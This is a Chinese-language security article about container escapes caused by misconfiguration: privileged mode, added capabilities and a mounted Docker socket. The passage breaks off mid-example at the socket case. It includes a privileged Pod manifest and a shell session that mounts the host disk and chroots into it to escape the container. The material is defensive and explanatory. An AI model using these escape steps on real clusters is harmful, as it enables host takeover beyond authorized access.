本文仅用于学习研究为目的,禁止用于任何非法目的,否则后果自负
随着云原生越来越多的落地应用,其相关的安全风险与威胁也不断的显现出来。Docker/Kubernetes等服务暴露问题、特斯拉Kubernetes集群挖矿事件、Docker Hub中的容器镜像被“投毒”注入挖矿程序、微软Azure安全中心检测到大规模Kubernetes挖矿事件、Graboid蠕虫挖矿传播事件等一系列针对云原生的安全攻击事件层出不穷。安全问题成为影响云原生落地的重要顾虑因素。为了便于理清导致容器安全问题的原因,笔者从「错误配置」和「安全漏洞」两个角度对容器和编排领域中的安全问题进行了梳理。为方便理解,笔者将这部分内容组织为思维导图形式,具体如下:
可以看到,其中由于错误配置导致的安全问题比安全漏洞导致的安全问题更多。据某厂容器安全调查报告显示,在容器配置合规方面,基于 CIS 标准的容器基线检查整体通过率约为 67.22%,其中未通过率最高的检查项为:没有限制使用 PID(100%),其次分别是:没有设置容器的根文件系统为只读(98.8%)、未确保 Linux 内核功能在容器内受限使用(97.97%)、未限制容器获得额外的权限(93.38%),可以看到在生产环境下仍有较多的容器存在严重的配置风险。笔者在日常漏洞应急响应过程中,也遇到很多我们云产品由于错误配置导致的安全漏洞。但是由于容器安全本身的技术门槛,导致很多同学对于容器错误配置带来的安全影响面认识不足。基于此,本文将重点介绍容器误配置导致的安全漏洞,希望能够对容器安全问题治理带来有效的推动作用。
容器环境配置不合规统计
在容器权限设计之初,容器的特权模式是为了帮助开发者实现Docker-in-Docker
特性。然而,在特权模式下运行不可信的容器将给宿主机的安全带来极大安全威胁。docker官方文档对特权模式的描述如下:
当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor
或SELinux
的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
如下图所示,我们以特权模式和非特权模式在Pod
中创建了两个容器,其中特权容器内部可以看到宿主机上的设备:
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- name: c1
image: ubuntu
command: [ "/bin/sleep", "inf" ]
securityContext:
privileged: true
- name: c2
image: ubuntu
command: [ "/bin/sleep", "inf" ]
在这样的场景下,从容器中逃逸出去易如反掌,手段也是多样的。例如,攻击者可以直接在容器内部挂载宿主机磁盘,然后将根目录切换过去:
[root@node1 script]# kubectl apply -f pod-privileged.yaml
pod/test created
[root@node1 script]# kubectl exec -it test -c c1 bash
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.
root@test:/# fdisk -l
Disk /dev/vda: 500 GiB, 536870912000 bytes, 1048576000 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x000bb9c1
Device Boot Start End Sectors Size Id Type
/dev/vda1 * 2048 1048575966 1048573919 500G 83 Linux
root@test:/# mkdir /host
root@test:/# mount /dev/vda /host/
mount: /host: /dev/vda already mounted or mount point busy.
root@test:/# fdisk -l
Disk /dev/vda: 500 GiB, 536870912000 bytes, 1048576000 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x000bb9c1
Device Boot Start End Sectors Size Id Type
/dev/vda1 * 2048 1048575966 1048573919 500G 83 Linux
root@test:/# mount /dev/vda1 /host/
root@test:/# chroot /host/
sh-4.2# /bin/bash
[root@test /]# cat /etc/hostname
node1
至此,我们已经基本从容器内逃逸出来了。之所以说“基本”,是因为仅仅挂载了宿主机的根目录,如果用ps
查看进程,看到的还是容器内的进程,因为没有挂载宿主机的procfs
。当然,这些已经不是很困难。
Linux
内核自版本2.2起引入功能(capabilities
)机制,打破了UNIX/LINUX
操作系统中超级用户与普通用户的概念,允许普通用户执行超级用户权限方能运行的命令。
截至Linux 3.0
版本,Linux
中共有38种capabilities
。目前大多数云厂商容器产品启动容器默认拥有cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
14个权限,管理员可以使用—cap-add
和—cap-drop
选项为容器精确配置capabilities
。
当容器使用特权模式启动时,将被赋予所有capabilities
权限。在下面的例子中,当为容器增加SYS_ADMIN
和NET_ADMIN
权限时,container
进程允许执行mount
、umount
,iptables
等一系列系统和网络管理操作,容器和集群将面临风险。
apiVersion: v1
kind: Pod
metadata:
name: test
labels:
role: myrole
spec:
containers:
- name: c1
image: ubuntu
command: [ "/bin/sleep", "inf" ]
securityContext:
capabilities:
add:
- SYS_ADMIN
- NET_ADMIN
Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信--查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock
),容器逃逸就相当容易了,除非有进一步的权限限制。
我们通过一个具体的示例来展示此种挂载方式进行容器逃逸的过程:
/var/run/docker.sock
;